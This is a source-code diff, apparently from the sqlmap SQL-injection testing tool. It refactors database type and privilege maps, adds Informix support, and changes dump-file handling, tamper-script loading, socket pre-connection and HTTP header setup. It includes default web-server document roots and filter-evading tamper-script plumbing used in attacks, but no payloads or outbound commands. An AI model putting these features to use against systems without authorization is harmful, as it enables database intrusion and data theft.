+    2061: "IDSSECURITYLABEL",
+    4118: "ROW (named)",
+}
 
 SYBASE_TYPES = {
-                    14: "floatn",
-                    8: "float",
-                    15: "datetimn",
-                    12: "datetime",
-                    23: "real",
-                    28: "numericn",
-                    10: "numeric",
-                    27: "decimaln",
-                    26: "decimal",
-                    17: "moneyn",
-                    11: "money",
-                    21: "smallmoney",
-                    22: "smalldatetime",
-                    13: "intn",
-                    7: "int",
-                    6: "smallint",
-                    5: "tinyint",
-                    16: "bit",
-                    2: "varchar",
-                    18: "sysname",
-                    25: "nvarchar",
-                    1: "char",
-                    24: "nchar",
-                    4: "varbinary",
-                    80: "timestamp",
-                    3: "binary",
-                    19: "text",
-                    20: "image",
-                }
+    14: "floatn",
+    8: "float",
+    15: "datetimn",
+    12: "datetime",
+    23: "real",
+    28: "numericn",
+    10: "numeric",
+    27: "decimaln",
+    26: "decimal",
+    17: "moneyn",
+    11: "money",
+    21: "smallmoney",
+    22: "smalldatetime",
+    13: "intn",
+    7: "int",
+    6: "smallint",
+    5: "tinyint",
+    16: "bit",
+    2: "varchar",
+    18: "sysname",
+    25: "nvarchar",
+    1: "char",
+    24: "nchar",
+    4: "varbinary",
+    80: "timestamp",
+    3: "binary",
+    19: "text",
+    20: "image",
+}
 
 MYSQL_PRIVS = {
-                    1: "select_priv",
-                    2: "insert_priv",
-                    3: "update_priv",
-                    4: "delete_priv",
-                    5: "create_priv",
-                    6: "drop_priv",
-                    7: "reload_priv",
-                    8: "shutdown_priv",
-                    9: "process_priv",
-                    10: "file_priv",
-                    11: "grant_priv",
-                    12: "references_priv",
-                    13: "index_priv",
-                    14: "alter_priv",
-                    15: "show_db_priv",
-                    16: "super_priv",
-                    17: "create_tmp_table_priv",
-                    18: "lock_tables_priv",
-                    19: "execute_priv",
-                    20: "repl_slave_priv",
-                    21: "repl_client_priv",
-                    22: "create_view_priv",
-                    23: "show_view_priv",
-                    24: "create_routine_priv",
-                    25: "alter_routine_priv",
-                    26: "create_user_priv",
-                }
+    1: "select_priv",
+    2: "insert_priv",
+    3: "update_priv",
+    4: "delete_priv",
+    5: "create_priv",
+    6: "drop_priv",
+    7: "reload_priv",
+    8: "shutdown_priv",
+    9: "process_priv",
+    10: "file_priv",
+    11: "grant_priv",
+    12: "references_priv",
+    13: "index_priv",
+    14: "alter_priv",
+    15: "show_db_priv",
+    16: "super_priv",
+    17: "create_tmp_table_priv",
+    18: "lock_tables_priv",
+    19: "execute_priv",
+    20: "repl_slave_priv",
+    21: "repl_client_priv",
+    22: "create_view_priv",
+    23: "show_view_priv",
+    24: "create_routine_priv",
+    25: "alter_routine_priv",
+    26: "create_user_priv",
+}
 
 PGSQL_PRIVS = {
-                    1: "createdb",
-                    2: "super",
-                    3: "catupd",
-                }
+    1: "createdb",
+    2: "super",
+    3: "catupd",
+}
 
 # Reference(s): http://stackoverflow.com/a/17672504
 #               http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES
 
 FIREBIRD_PRIVS = {
-                    "S": "SELECT",
-                    "I": "INSERT",
-                    "U": "UPDATE",
-                    "D": "DELETE",
-                    "R": "REFERENCE",
-                    "E": "EXECUTE",
-                    "X": "EXECUTE",
-                    "A": "ALL",
-                    "M": "MEMBER",
-                    "T": "DECRYPT",
-                    "E": "ENCRYPT",
-                    "B": "SUBSCRIBE",
-                }
+    "S": "SELECT",
+    "I": "INSERT",
+    "U": "UPDATE",
+    "D": "DELETE",
+    "R": "REFERENCE",
+    "E": "EXECUTE",
+    "X": "EXECUTE",
+    "A": "ALL",
+    "M": "MEMBER",
+    "T": "DECRYPT",
+    "E": "ENCRYPT",
+    "B": "SUBSCRIBE",
+}
+
+# Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm
+#               https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm
+
+INFORMIX_PRIVS = {
+    "D": "DBA (all privileges)",
+    "R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)",
+    "C": "CONNECT (work with existing tables)",
+    "G": "ROLE",
+    "U": "DEFAULT (implicit connection)",
+}
 
 DB2_PRIVS = {
-                    1: "CONTROLAUTH",
-                    2: "ALTERAUTH",
-                    3: "DELETEAUTH",
-                    4: "INDEXAUTH",
-                    5: "INSERTAUTH",
-                    6: "REFAUTH",
-                    7: "SELECTAUTH",
-                    8: "UPDATEAUTH",
-           }
+    1: "CONTROLAUTH",
+    2: "ALTERAUTH",
+    3: "DELETEAUTH",
+    4: "INDEXAUTH",
+    5: "INSERTAUTH",
+    6: "REFAUTH",
+    7: "SELECTAUTH",
+    8: "UPDATEAUTH",
+}
 
 DUMP_REPLACEMENTS = {" ": NULL, "": BLANK}
 
 DBMS_DICT = {
-                DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"),
-                DBMS.MYSQL: (MYSQL_ALIASES, "python pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
-                DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
-                DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
-                DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
-                DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"),
-                DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
-                DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
-                DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"),
-                DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/", "ibm_db_sa"),
-                DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
-            }
+    DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "mssql+pymssql"),
+    DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/petehunt/PyMySQL/", "mysql"),
+    DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
+    DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "http://cx-oracle.sourceforge.net/", "oracle"),
+    DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "http://packages.ubuntu.com/quantal/python-sqlite", "sqlite"),
+    DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "http://pyodbc.googlecode.com/", "access"),
+    DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"),
+    DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"),
+    DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"),
+    DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
+    DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
+    DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
+}
 
 FROM_DUMMY_TABLE = {
-                        DBMS.ORACLE: " FROM DUAL",
-                        DBMS.ACCESS: " FROM MSysAccessObjects",
-                        DBMS.FIREBIRD: " FROM RDB$DATABASE",
-                        DBMS.MAXDB: " FROM VERSIONS",
-                        DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
-                        DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS"
-                   }
+    DBMS.ORACLE: " FROM DUAL",
+    DBMS.ACCESS: " FROM MSysAccessObjects",
+    DBMS.FIREBIRD: " FROM RDB$DATABASE",
+    DBMS.MAXDB: " FROM VERSIONS",
+    DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
+    DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
+    DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
+}
 
 SQL_STATEMENTS = {
-                        "SQL SELECT statement":  (
-                             "select ",
-                             "show ",
-                             " top ",
-                             " distinct ",
-                             " from ",
-                             " from dual",
-                             " where ",
-                             " group by ",
-                             " order by ",
-                             " having ",
-                             " limit ",
-                             " offset ",
-                             " union all ",
-                             " rownum as ",
-                             "(case ",           ),
+    "SQL SELECT statement":  (
+            "select ",
+            "show ",
+            " top ",
+            " distinct ",
+            " from ",
+            " from dual",
+            " where ",
+            " group by ",
+            " order by ",
+            " having ",
+            " limit ",
+            " offset ",
+            " union all ",
+            " rownum as ",
+            "(case ",        ),
 
-                         "SQL data definition":  (
-                             "create ",
-                             "declare ",
-                             "drop ",
-                             "truncate ",
-                             "alter ",           ),
+    "SQL data definition":   (
+        "create ",
+        "declare ",
+        "drop ",
+        "truncate ",
+        "alter ",            ),
 
-                        "SQL data manipulation": (
-                             "bulk ",
-                             "insert ",
-                             "update ",
-                             "delete ",
-                             "merge ",
-                             "load ",            ),
+    "SQL data manipulation": (
+            "bulk ",
+            "insert ",
+            "update ",
+            "delete ",
+            "merge ",
+            "load ",         ),
 
-                        "SQL data control":      (
-                             "grant ",
-                             "revoke ",          ),
+    "SQL data control":      (
+            "grant ",
+            "revoke ",       ),
 
-                        "SQL data execution":    (
-                             "exec ",
-                             "execute ",
-                             "values ", 
-                             "call ",            ),
+    "SQL data execution":    (
+            "exec ",
+            "execute ",
+            "values ", 
+            "call ",         ),
 
-                        "SQL transaction":       (
-                             "start transaction ",
-                             "begin work ",
-                             "begin transaction ",
-                             "commit ",
-                             "rollback ",        ),
-                     }
+    "SQL transaction":       (
+            "start transaction ",
+            "begin work ",
+            "begin transaction ",
+            "commit ",
+            "rollback ",     ),
+}
 
 POST_HINT_CONTENT_TYPES = {
-                                POST_HINT.JSON: "application/json",
-                                POST_HINT.JSON_LIKE: "application/json",
-                                POST_HINT.MULTIPART: "multipart/form-data",
-                                POST_HINT.SOAP: "application/soap+xml",
-                                POST_HINT.XML: "application/xml",
-                                POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
-                          }
+    POST_HINT.JSON: "application/json",
+    POST_HINT.JSON_LIKE: "application/json",
+    POST_HINT.MULTIPART: "multipart/form-data",
+    POST_HINT.SOAP: "application/soap+xml",
+    POST_HINT.XML: "application/xml",
+    POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8",
+}
 
 DEPRECATED_OPTIONS = {
-                        "--replicate": "use '--dump-format=SQLITE' instead",
-                        "--no-unescape": "use '--no-escape' instead",
-                        "--binary": "use '--binary-fields' instead",
-                        "--auth-private": "use '--auth-file' instead",
-                        "--check-payload": None,
-                        "--check-waf": None,
-                     }
+    "--replicate": "use '--dump-format=SQLITE' instead",
+    "--no-unescape": "use '--no-escape' instead",
+    "--binary": "use '--binary-fields' instead",
+    "--auth-private": "use '--auth-file' instead",
+    "--check-payload": None,
+    "--check-waf": None,
+}
 
 DUMP_DATA_PREPROCESS = {
-                            DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},  # Reference: https://www.tibcommunity.com/docs/DOC-3643
-                            DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
-                       }
+    DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"},  # Reference: https://www.tibcommunity.com/docs/DOC-3643
+    DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"},
+}
 
 DEFAULT_DOC_ROOTS = {
-                        OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
-                        OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
-                    }
+    OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
+    OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www")  # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
+}

lib/core/dump.py

@@ -9,6 +9,7 @@ import cgi
 import hashlib
 import os
 import re
+import shutil
 import tempfile
 import threading
 
@@ -118,9 +119,15 @@ class Dump(object):
         elif data is not None:
             _ = getUnicode(data)
 
-            if _ and _[-1] == '\n':
+            if _.endswith("\r\n"):
+                _ = _[:-2]
+
+            elif _.endswith("\n"):
                 _ = _[:-1]
 
+            if _.strip(' '):
+                _ = _.strip(' ')
+
             if "\n" in _:
                 self._write("%s:\n---\n%s\n---" % (header, _))
             else:
@@ -449,8 +456,23 @@ class Dump(object):
                         dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                     else:
                         dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
+            else:
+                appendToFile = any((conf.limitStart, conf.limitStop))
+
+                if not appendToFile:
+                    count = 1
+                    while True:
+                        candidate = "%s.%d" % (dumpFileName, count)
+                        if not checkFile(candidate, False):
+                            try:
+                                shutil.copyfile(dumpFileName, candidate)
+                            except IOError:
+                                pass
+                            finally:
+                                break
+                        else:
+                            count += 1
 
-            appendToFile = any((conf.limitStart, conf.limitStop)) and checkFile(dumpFileName, False)
             dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE)
 
         count = int(tableValues["__infos__"]["count"])

lib/core/enums.py

@@ -34,6 +34,7 @@ class DBMS:
     SQLITE = "SQLite"
     SYBASE = "Sybase"
     HSQLDB = "HSQLDB"
+    INFORMIX = "Informix"
 
 class DBMS_DIRECTORY_NAME:
     ACCESS = "access"
@@ -47,6 +48,7 @@ class DBMS_DIRECTORY_NAME:
     SQLITE = "sqlite"
     SYBASE = "sybase"
     HSQLDB = "hsqldb"
+    INFORMIX = "informix"
 
 class CUSTOM_LOGGING:
     PAYLOAD = 9
@@ -364,3 +366,8 @@ class MKSTEMP_PREFIX:
     RESULTS = "sqlmapresults-"
     COOKIE_JAR = "sqlmapcookiejar-"
     BIG_ARRAY = "sqlmapbigarray-"
+
+class TIMEOUT_STATE:
+    NORMAL = 0
+    EXCEPTION = 1
+    TIMEOUT = 2

lib/core/option.py

@@ -5,6 +5,7 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """
 
+import binascii
 import cookielib
 import glob
 import inspect
@@ -38,6 +39,7 @@ from lib.core.common import getPublicTypeMembers
 from lib.core.common import getSafeExString
 from lib.core.common import extractRegexResult
 from lib.core.common import filterStringValue
+from lib.core.common import findLocalPort
 from lib.core.common import findPageForms
 from lib.core.common import getConsoleWidth
 from lib.core.common import getFileItems
@@ -108,7 +110,7 @@ from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DBMS_ALIASES
 from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DEFAULT_TOR_HTTP_PORTS
-from lib.core.settings import DEFAULT_TOR_SOCKS_PORT
+from lib.core.settings import DEFAULT_TOR_SOCKS_PORTS
 from lib.core.settings import DUMMY_URL
 from lib.core.settings import IGNORE_SAVE_OPTIONS
 from lib.core.settings import INJECT_HERE_MARK
@@ -120,6 +122,7 @@ from lib.core.settings import MAX_CONNECT_RETRIES
 from lib.core.settings import MAX_NUMBER_OF_THREADS
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_SPLITTING_REGEX
+from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT
 from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
 from lib.core.settings import SITE
 from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE
@@ -127,6 +130,7 @@ from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import SUPPORTED_OS
 from lib.core.settings import TIME_DELAY_CANDIDATES
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import UNION_CHAR_REGEX
 from lib.core.settings import UNKNOWN_DBMS_VERSION
 from lib.core.settings import URI_INJECTABLE_REGEX
@@ -153,6 +157,7 @@ from lib.utils.deps import checkDependencies
 from lib.utils.search import search
 from lib.utils.purge import purge
 from thirdparty.keepalive import keepalive
+from thirdparty.multipart import multipartpost
 from thirdparty.oset.pyoset import oset
 from thirdparty.socks import socks
 from xml.etree.ElementTree import ElementTree
@@ -163,6 +168,13 @@ keepAliveHandler = keepalive.HTTPHandler()
 proxyHandler = urllib2.ProxyHandler()
 redirectHandler = SmartRedirectHandler()
 rangeHandler = HTTPRangeHandler()
+multipartPostHandler = multipartpost.MultipartPostHandler()
+
+# Reference: https://mail.python.org/pipermail/python-list/2009-November/558615.html
+try:
+    WindowsError
+except NameError:
+    WindowsError = None
 
 def _feedTargetsDict(reqFile, addedTargetUrls):
     """
@@ -207,7 +219,10 @@ def _feedTargetsDict(reqFile, addedTargetUrls):
                 reqResList = []
                 for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
                     port, request = match.groups()
-                    request = request.decode("base64")
+                    try:
+                        request = request.decode("base64")
+                    except binascii.Error:
+                        continue
                     _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
                     if _:
                         host = _.group(0).strip()
@@ -879,32 +894,32 @@ def _setTamperingFunctions():
         resolve_priorities = False
         priorities = []
 
-        for tfile in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
+        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.tamper):
             found = False
 
-            tfile = tfile.strip()
+            script = script.strip().encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
 
-            if not tfile:
+            if not script:
                 continue
 
-            elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)):
-                tfile = os.path.join(paths.SQLMAP_TAMPER_PATH, tfile if tfile.endswith('.py') else "%s.py" % tfile)
+            elif os.path.exists(os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)):
+                script = os.path.join(paths.SQLMAP_TAMPER_PATH, script if script.endswith(".py") else "%s.py" % script)
 
-            elif not os.path.exists(tfile):
-                errMsg = "tamper script '%s' does not exist" % tfile
+            elif not os.path.exists(script):
+                errMsg = "tamper script '%s' does not exist" % script
                 raise SqlmapFilePathException(errMsg)
 
-            elif not tfile.endswith('.py'):
-                errMsg = "tamper script '%s' should have an extension '.py'" % tfile
+            elif not script.endswith(".py"):
+                errMsg = "tamper script '%s' should have an extension '.py'" % script
                 raise SqlmapSyntaxException(errMsg)
 
-            dirname, filename = os.path.split(tfile)
+            dirname, filename = os.path.split(script)
             dirname = os.path.abspath(dirname)
 
             infoMsg = "loading tamper script '%s'" % filename[:-3]
             logger.info(infoMsg)
 
-            if not os.path.exists(os.path.join(dirname, '__init__.py')):
+            if not os.path.exists(os.path.join(dirname, "__init__.py")):
                 errMsg = "make sure that there is an empty file '__init__.py' "
                 errMsg += "inside of tamper scripts directory '%s'" % dirname
                 raise SqlmapGenericException(errMsg)
@@ -913,11 +928,11 @@ def _setTamperingFunctions():
                 sys.path.insert(0, dirname)
 
             try:
-                module = __import__(filename[:-3].encode(sys.getfilesystemencoding()))
-            except (ImportError, SyntaxError), msg:
-                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], msg))
+                module = __import__(filename[:-3])
+            except (ImportError, SyntaxError), ex:
+                raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
 
-            priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__
+            priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
 
             for name, function in inspect.getmembers(module, inspect.isfunction):
                 if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs":
@@ -949,7 +964,7 @@ def _setTamperingFunctions():
 
             if not found:
                 errMsg = "missing function 'tamper(payload, **kwargs)' "
-                errMsg += "in tamper script '%s'" % tfile
+                errMsg += "in tamper script '%s'" % script
                 raise SqlmapGenericException(errMsg)
 
         if kb.tamperFunctions and len(kb.tamperFunctions) > 3:
@@ -966,7 +981,7 @@ def _setTamperingFunctions():
 
 def _setWafFunctions():
     """
-    Loads WAF/IDS/IPS detecting functions from script(s)
+    Loads WAF/IPS/IDS detecting functions from script(s)
     """
 
     if conf.identifyWaf:
@@ -1010,12 +1025,12 @@ def _setDNSCache():
     """
 
     def _getaddrinfo(*args, **kwargs):
-        if args in kb.cache:
-            return kb.cache[args]
+        if args in kb.cache.addrinfo:
+            return kb.cache.addrinfo[args]
 
         else:
-            kb.cache[args] = socket._getaddrinfo(*args, **kwargs)
-            return kb.cache[args]
+            kb.cache.addrinfo[args] = socket._getaddrinfo(*args, **kwargs)
+            return kb.cache.addrinfo[args]
 
     if not hasattr(socket, "_getaddrinfo"):
         socket._getaddrinfo = socket.getaddrinfo
@@ -1030,7 +1045,7 @@ def _setSocketPreConnect():
         return
 
     def _():
-        while kb.threadContinue and not conf.disablePrecon:
+        while kb.get("threadContinue") and not conf.get("disablePrecon"):
             try:
                 for key in socket._ready:
                     if len(socket._ready[key]) < SOCKET_PRE_CONNECT_QUEUE_SIZE:
@@ -1038,7 +1053,7 @@ def _setSocketPreConnect():
                         s = socket.socket(family, type, proto)
                         s._connect(address)
                         with kb.locks.socket:
-                            socket._ready[key].append(s._sock)
+                            socket._ready[key].append((s._sock, time.time()))
             except KeyboardInterrupt:
                 break
             except:
@@ -1053,9 +1068,17 @@ def _setSocketPreConnect():
         with kb.locks.socket:
             if key not in socket._ready:
                 socket._ready[key] = []
-            if len(socket._ready[key]) > 0:
-                self._sock = socket._ready[key].pop(0)
-                found = True
+            while len(socket._ready[key]) > 0:
+                candidate, created = socket._ready[key].pop(0)
+                if (time.time() - created) < PRECONNECT_CANDIDATE_TIMEOUT:
+                    self._sock = candidate
+                    found = True
+                    break
+                else:
+                    try:
+                        candidate.close()
+                    except socket.error:
+                        pass
 
         if not found:
             self._connect(address)
@@ -1154,7 +1177,7 @@ def _setHTTPHandlers():
     debugMsg = "creating HTTP requests opener object"
     logger.debug(debugMsg)
 
-    handlers = filter(None, [proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler])
+    handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler])
 
     if not conf.dropSetCookie:
         if not conf.loadCookies:
@@ -1186,7 +1209,7 @@ def _setSafeVisit():
     """
     Check and set the safe visit options.
     """
-    if not any ((conf.safeUrl, conf.safeReqFile)):
+    if not any((conf.safeUrl, conf.safeReqFile)):
         return
 
     if conf.safeReqFile:
@@ -1384,16 +1407,12 @@ def _setHTTPExtraHeaders():
                 raise SqlmapSyntaxException(errMsg)
 
     elif not conf.requestFile and len(conf.httpHeaders or []) < 2:
-        conf.httpHeaders.append((HTTP_HEADER.ACCEPT_LANGUAGE, "en-us,en;q=0.5"))
-        if not conf.charset:
-            conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
-        else:
+        if conf.charset:
             conf.httpHeaders.append((HTTP_HEADER.ACCEPT_CHARSET, "%s;q=0.7,*;q=0.1" % conf.charset))
 
         # Invalidating any caching mechanism in between
-        # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
-        conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache,no-store"))
-        conf.httpHeaders.append((HTTP_HEADER.PRAGMA, "no-cache"))
+        # Reference: http://stackoverflow.com/a/1383359
+        conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
 
 def _defaultHTTPUserAgent():
     """
@@ -1403,13 +1422,6 @@ def _defaultHTTPUserAgent():
 
     return "%s (%s)" % (VERSION_STRING, SITE)
 
-    # Firefox 3 running on Ubuntu 9.04 updated at April 2009
-    #return "Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9"
-
-    # Internet Explorer 7.0 running on Windows 2003 Service Pack 2 english
-    # updated at March 2009
-    #return "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
-
 def _setHTTPUserAgent():
     """
     Set the HTTP User-Agent header.
@@ -1554,6 +1566,7 @@ def _createTemporaryDirectory():
                 os.makedirs(conf.tmpDir)
 
             _ = os.path.join(conf.tmpDir, randomStr())
+
             open(_, "w+b").close()
             os.remove(_)
 
@@ -1569,21 +1582,29 @@ def _createTemporaryDirectory():
         try:
             if not os.path.isdir(tempfile.gettempdir()):
                 os.makedirs(tempfile.gettempdir())
-        except IOError, ex:
-            errMsg = "there has been a problem while accessing "
-            errMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
-            errMsg += "make sure that there is enough disk space left. If problem persists, "
-            errMsg += "try to set environment variable 'TEMP' to a location "
-            errMsg += "writeable by the current user"
-            raise SqlmapSystemException, errMsg
+        except (OSError, IOError, WindowsError), ex:
+            warnMsg = "there has been a problem while accessing "
+            warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
+            warnMsg += "make sure that there is enough disk space left. If problem persists, "
+            warnMsg += "try to set environment variable 'TEMP' to a location "
+            warnMsg += "writeable by the current user"
+            logger.warn(warnMsg)
 
     if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
-        tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
+        try:
+            tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
+        except (OSError, IOError, WindowsError):
+            tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))
 
     kb.tempDir = tempfile.tempdir
 
     if not os.path.isdir(tempfile.tempdir):
-        os.makedirs(tempfile.tempdir)
+        try:
+            os.makedirs(tempfile.tempdir)
+        except (OSError, IOError, WindowsError), ex:
+            errMsg = "there has been a problem while setting "
+            errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
+            raise SqlmapSystemException, errMsg
 
 def _cleanupOptions():
     """
@@ -1612,7 +1633,7 @@ def _cleanupOptions():
         conf.testParameter = []
 
     if conf.agent:
-        conf.agent = conf.agent.strip("\r\n")
+        conf.agent = re.sub(r"[\r\n]", "", conf.agent)
 
     if conf.user:
         conf.user = conf.user.replace(" ", "")
@@ -1721,7 +1742,7 @@ def _cleanupOptions():
 
     if conf.outputDir:
         paths.SQLMAP_OUTPUT_PATH = os.path.realpath(os.path.expanduser(conf.outputDir))
-        setPaths()
+        setPaths(paths.SQLMAP_ROOT_PATH)
 
     if conf.string:
         try:
@@ -1753,15 +1774,32 @@ def _cleanupOptions():
     if conf.binaryFields:
         conf.binaryFields = re.sub(r"\s*,\s*", ",", conf.binaryFields)
 
+    if any((conf.proxy, conf.proxyFile, conf.tor)):
+        conf.disablePrecon = True
+
     threadData = getCurrentThreadData()
     threadData.reset()
 
+def _cleanupEnvironment():
+    """
+    Cleanup environment (e.g. from leftovers after --sqlmap-shell).
+    """
+
+    if issubclass(urllib2.socket.socket, socks.socksocket):
+        socks.unwrapmodule(urllib2)
+
+    if hasattr(socket, "_ready"):
+        socket._ready.clear()
+
 def _dirtyPatches():
     """
     Place for "dirty" Python related patches
     """
 
-    httplib._MAXLINE = 1 * 1024 * 1024  # to accept overly long result lines (e.g. SQLi results in HTTP header responses)
+    httplib._MAXLINE = 1 * 1024 * 1024                          # accept overly long result lines (e.g. SQLi results in HTTP header responses)
+
+    if IS_WIN:
+        from thirdparty.wininetpton import win_inet_pton        # add support for inet_pton() on Windows OS
 
 def _purgeOutput():
     """
@@ -1829,10 +1867,16 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.bruteMode = False
 
     kb.cache = AttribDict()
+    kb.cache.addrinfo = {}
     kb.cache.content = {}
+    kb.cache.encoding = {}
+    kb.cache.intBoundaries = None
+    kb.cache.parsedDbms = {}
     kb.cache.regex = {}
     kb.cache.stdev = {}
 
+    kb.captchaDetected = None
+
     kb.chars = AttribDict()
     kb.chars.delimiter = randomStr(length=6, lowercase=True)
     kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
@@ -1841,6 +1885,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
 
     kb.columnExistsChoice = None
     kb.commonOutputs = None
+    kb.connErrorChoice = None
+    kb.connErrorCounter = 0
     kb.cookieEncodeChoice = None
     kb.counters = {}
     kb.data = AttribDict()
